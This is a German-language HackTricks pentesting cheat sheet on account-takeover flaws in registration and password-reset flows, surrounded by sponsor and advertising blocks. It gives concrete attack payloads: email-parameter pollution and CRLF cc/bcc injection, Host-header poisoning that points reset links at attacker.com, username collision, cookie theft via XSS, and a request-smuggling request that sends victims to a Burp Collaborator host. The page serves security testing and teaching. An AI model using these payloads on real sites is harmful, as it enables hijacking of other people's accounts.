# Registrierungs- & Übernahmeschwachstellen
Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
{% embed url="https://whiteintel.io" %}
***
## Registrierungsübernahme
### Duplikatregistrierung
* Versuchen Sie, mit einem vorhandenen Benutzernamen zu generieren
* Überprüfen Sie die Variation der E-Mail:
* Großbuchstaben
* \+1@
* fügen Sie einige Punkte in die E-Mail ein
* Sonderzeichen im E-Mail-Namen (%00, %09, %20)
* Setzen Sie schwarze Zeichen nach der E-Mail: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Benutzername Aufzählung
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.
### Passwortrichtlinie
Beim Erstellen eines Benutzers überprüfen Sie die Passwortrichtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\
In diesem Fall können Sie versuchen, Anmeldeinformationen per Bruteforce zu ermitteln.
### SQL-Injection
[**Überprüfen Sie diese Seite** ](sql-injection/#insert-statement), um zu lernen, wie Sie Kontoübernahmen versuchen oder Informationen über **SQL-Injections** in Registrierungsformularen extrahieren können.
### Oauth-Übernahmen
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML-Schwachstellen
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### E-Mail ändern
Nach der Registrierung versuchen Sie, die E-Mail zu ändern und überprüfen, ob diese Änderung korrekt validiert wird oder ob Sie sie in beliebige E-Mails ändern können.
### Weitere Überprüfungen
* Überprüfen Sie, ob Sie **Wegwerf-E-Mails** verwenden können
* **Langes** **Passwort** (>200) führt zu **DoS**
* **Überprüfen Sie die Ratenbegrenzungen bei der Kontenerstellung**
* Verwenden Sie username@**burp\_collab**.net und analysieren Sie den **Rückruf**
## **Passwortzurücksetzungsübernahme**
### Passwortzurücksetzungstoken-Leak über Referrer
1. Fordern Sie das Zurücksetzen des Passworts an Ihre E-Mail-Adresse an
2. Klicken Sie auf den Link zum Zurücksetzen des Passworts
3. Ändern Sie das Passwort nicht
4. Klicken Sie auf beliebige Websites von Drittanbietern (z. B. Facebook, Twitter)
5. Unterbrechen Sie die Anfrage im Burp Suite-Proxy
6. Überprüfen Sie, ob der Referrer-Header das Zurücksetzen des Passworttokens preisgibt.
### Passwortzurücksetzung-Vergiftung
1. Unterbrechen Sie die Passwortzurücksetzungsanfrage im Burp Suite
2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Leiten Sie die Anfrage mit dem geänderten Header weiter\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Suchen Sie nach einer Passwortzurücksetzungs-URL basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN`
### Passwortzurücksetzung über E-Mail-Parameter
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR auf API-Parametern
1. Der Angreifer muss sich mit seinem Konto anmelden und die Funktion **Passwort ändern** aufrufen.
2. Starten Sie Burp Suite und unterbrechen Sie die Anfrage.
3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\
`powershell POST /api/changepass [...] ("form": {"email":"opfer@email.com","password":"sicherespwd"})`
### Schwacher Passwort-Reset-Token
Der Passwort-Reset-Token sollte jedes Mal zufällig generiert und einzigartig sein.\
Versuchen Sie festzustellen, ob der Token abläuft oder ob er immer derselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
* Zeitstempel
* Benutzer-ID
* E-Mail des Benutzers
* Vor- und Nachname
* Geburtsdatum
* Kryptografie
* Nur Zahlen
* Kleine Token-Sequenz (Zeichen zwischen \[A-Z,a-z,0-9])
* Token-Wiederverwendung
* Ablaufdatum des Tokens
### Durchsickern des Passwort-Reset-Tokens
1. Lösen Sie eine Anfrage zum Zurücksetzen des Passworts über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken`
3. Verwenden Sie dann den Token in einer URL wie `https://beispiel.com/v3/benutzer/passwort/zurücksetzen?resetToken=[DER_RESET_TOKEN]&email=[DIE_MAIL]`
### Passwort zurücksetzen über Benutzername-Kollision
1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen eingefügt. z.B.: `"admin "`
2. Fordern Sie ein Passwort-Reset mit Ihrem bösartigen Benutzernamen an.
3. Verwenden Sie den an Ihre E-Mail gesendeten Token und setzen Sie das Passwort des Opfers zurück.
4. Melden Sie sich mit dem neuen Passwort im Opferkonto an.
Die Plattform CTFd war anfällig für diesen Angriff.\
Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Kontoübernahme über Cross-Site-Scripting
1. Finden Sie ein XSS innerhalb der Anwendung oder eines Subdomains, wenn die Cookies auf die übergeordnete Domain beschränkt sind: `*.domain.com`
2. Leaken Sie das aktuelle **Sitzungscookie**
3. Authentifizieren Sie sich als Benutzer mithilfe des Cookies
### Kontoübernahme über HTTP-Request-Smuggling
1\. Verwenden Sie **smuggler**, um den Typ des HTTP-Request-Smugglings (CL, TE, CL.TE) zu erkennen\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Erstellen Sie eine Anfrage, die das `POST / HTTP/1.1` mit den folgenden Daten überschreibt:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, Opfer auf burpcollab umzuleiten und ihre Cookies zu stehlen\
3\. Die endgültige Anfrage könnte wie folgt aussehen:
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone Berichte über die Ausnutzung dieses Fehlers\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Accountübernahme über CSRF
1. Erstellen Sie ein Payload für CSRF, z.B. "HTML-Formular mit automatischem Absenden für eine Passwortänderung"
2. Senden Sie den Payload
### Accountübernahme über JWT
JSON Web Token kann verwendet werden, um einen Benutzer zu authentifizieren.
* Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
* Überprüfen Sie die schwache JWT-Signatur
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Referenzen
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
Das Hauptziel von WhiteIntel ist es, Accountübernahmen und Ransomware-Angriffe aufgrund von informationenstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.